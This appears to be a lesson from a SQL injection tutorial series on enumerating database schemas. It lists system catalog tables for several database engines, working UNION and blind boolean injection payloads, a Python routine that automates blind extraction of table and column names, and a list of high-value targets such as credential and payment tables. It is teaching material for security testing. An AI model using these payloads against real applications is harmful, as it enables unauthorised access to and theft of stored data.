Schema = database structure that contains:
- Database names
- Table names
- Column names
- Data types
- Relationships
Enumerate schema = roadmap to sensitive data
| Database | System Table | Contains |
|---|---|---|
| MySQL | information_schema.tables |
All tables |
| MySQL | information_schema.columns |
All columns |
| PostgreSQL | pg_catalog.pg_tables |
Tables |
| PostgreSQL | information_schema.columns |
Columns |
| MSSQL | sys.tables |
Tables |
| MSSQL | sys.columns |
Columns |
| Oracle | all_tables |
Accessible tables |
| Oracle | all_tab_columns |
Columns |
| SQLite | sqlite_master |
Schema info |
-- Direct query
SELECT schema_name FROM information_schema.schemata
-- Union extraction
UNION SELECT 1,schema_name,3 FROM information_schema.schemata
-- All in one (group_concat)
UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata-- Basic table list
SELECT table_name FROM information_schema.tables
WHERE table_schema=database()
-- Union extraction
UNION SELECT 1,table_name,3 FROM information_schema.tables
WHERE table_schema=database()
-- Multiple tables (comma-separated)
UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables
WHERE table_schema=database()
-- Filter by table type (exclude system tables)
UNION SELECT 1,table_name,3 FROM information_schema.tables
WHERE table_schema=database() AND table_type='BASE TABLE'-- Columns from specific table
SELECT column_name FROM information_schema.columns
WHERE table_schema=database() AND table_name='users'
-- With data types
SELECT concat(column_name,':',data_type) FROM information_schema.columns
WHERE table_schema=database() AND table_name='users'
-- Union extraction
UNION SELECT 1,column_name,3 FROM information_schema.columns
WHERE table_schema=database() AND table_name='users'
-- All columns at once
UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns
WHERE table_schema=database() AND table_name='users'-- All tables and their columns
SELECT
table_name,
group_concat(column_name ORDER BY ordinal_position)
FROM information_schema.columns
WHERE table_schema=database()
GROUP BY table_nameSELECT datname FROM pg_database WHERE datistemplate=false-- Current database tables
SELECT tablename FROM pg_tables WHERE schemaname='public'
-- Or use information_schema
SELECT table_name FROM information_schema.tables
WHERE table_schema='public' AND table_type='BASE TABLE'SELECT column_name,data_type
FROM information_schema.columns
WHERE table_schema='public' AND table_name='users'-- Detailed column info
SELECT
a.attname as column_name,
pg_catalog.format_type(a.atttypid, a.atttypmod) as data_type
FROM pg_catalog.pg_attribute a
WHERE a.attrelid = (SELECT c.oid FROM pg_catalog.pg_class c
WHERE c.relname='users')
AND a.attnum > 0
AND NOT a.attisdroppedSELECT name FROM master..sysdatabases-- Current database
SELECT name FROM sys.tables
-- With schema
SELECT SCHEMA_NAME(schema_id),name FROM sys.tables
-- Via information_schema
SELECT table_name FROM information_schema.tables
WHERE table_type='BASE TABLE'SELECT name FROM sys.columns WHERE object_id=OBJECT_ID('users')
-- With data types
SELECT
c.name,
t.name as data_type
FROM sys.columns c
JOIN sys.types t ON c.user_type_id=t.user_type_id
WHERE c.object_id=OBJECT_ID('users')SELECT table_name FROM user_tables
-- All accessible tables
SELECT owner,table_name FROM all_tablesSELECT column_name,data_type FROM user_tab_columns
WHERE table_name='USERS'
-- Or use all_tab_columns for tables from other schemas
SELECT column_name,data_type FROM all_tab_columns
WHERE owner='SCOTT' AND table_name='EMP'-- All objects
SELECT object_name,object_type FROM user_objects
WHERE object_type IN ('TABLE','VIEW','PROCEDURE')
-- With details
SELECT * FROM all_objects WHERE owner='SYSTEM'-- All tables and indices
SELECT name,type,sql FROM sqlite_master WHERE type='table'
-- Columns (pragma)
PRAGMA table_info(users)
-- Or via sql column parsing
SELECT sql FROM sqlite_master WHERE name='users'-- Check: Does table 'admin' exist?
' AND (SELECT COUNT(*) FROM information_schema.tables
WHERE table_schema=database() AND table_name='admin')>0--
-- Check: Does table 'users' exist?
' AND (SELECT COUNT(*) FROM information_schema.tables
WHERE table_schema=database() AND table_name='users')>0---- Check: Does table have column 'password'?
' AND (SELECT COUNT(*) FROM information_schema.columns
WHERE table_schema=database() AND table_name='users'
AND column_name='password')>0--
-- Extract first char of table name
' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables
WHERE table_schema=database() LIMIT 1),1,1))=117--def extract_table_names():
tables = []
# Get count of tables
count = extract_number(
"SELECT COUNT(*) FROM information_schema.tables "
"WHERE table_schema=database()"
)
for i in range(count):
table_name = extract_string(
f"SELECT table_name FROM information_schema.tables "
f"WHERE table_schema=database() LIMIT {i},1"
)
tables.append(table_name)
return tables
def extract_columns(table_name):
columns = []
count = extract_number(
f"SELECT COUNT(*) FROM information_schema.columns "
f"WHERE table_schema=database() AND table_name='{table_name}'"
)
for i in range(count):
column = extract_string(
f"SELECT column_name FROM information_schema.columns "
f"WHERE table_schema=database() AND table_name='{table_name}' "
f"LIMIT {i},1"
)
columns.append(column)
return columns| Table Name | Likely Contents |
|---|---|
| users, user_accounts | User credentials |
| admin, administrators | admin credentials |
| customers, clients | Customer data |
| orders, transactions | Financial data |
| passwords, credentials | Password storage |
| sessions, tokens | Session management |
| config, settings | Configuration |
| email, messages | Communication data |
| credit_cards, payments | Financial info |
| logs, audit_logs | Activity logs |
-- Test common names one per one
' AND (SELECT COUNT(*) FROM information_schema.tables
WHERE table_name='users')>0--
' AND (SELECT COUNT(*) FROM information_schema.tables
WHERE table_name='admin')>0--
' AND (SELECT COUNT(*) FROM information_schema.tables
WHERE table_name LIKE '%user%')>0--Target: http://target.com/page?id=1
Enumerate all table names in current database using union injection.
From table users already identified, extract all column names and data types.
Scenario: Union injection not available. Use blind boolean extraction for:
- Count how many tables
- Extract table names
- Extract columns from each table
Enumerate schema from database mysql (system database) to find user credentials.
- Identify database type
- List all databases (if privileges allow)
- List all tables in target database
- Identify high-value tables (users, admin, etc.)
- Extract columns from each interesting table
- Map data types to understand storage
- Document schema for next stage (data extraction)
Continue to 07 - Data Extraction to dump actual data from identified tables.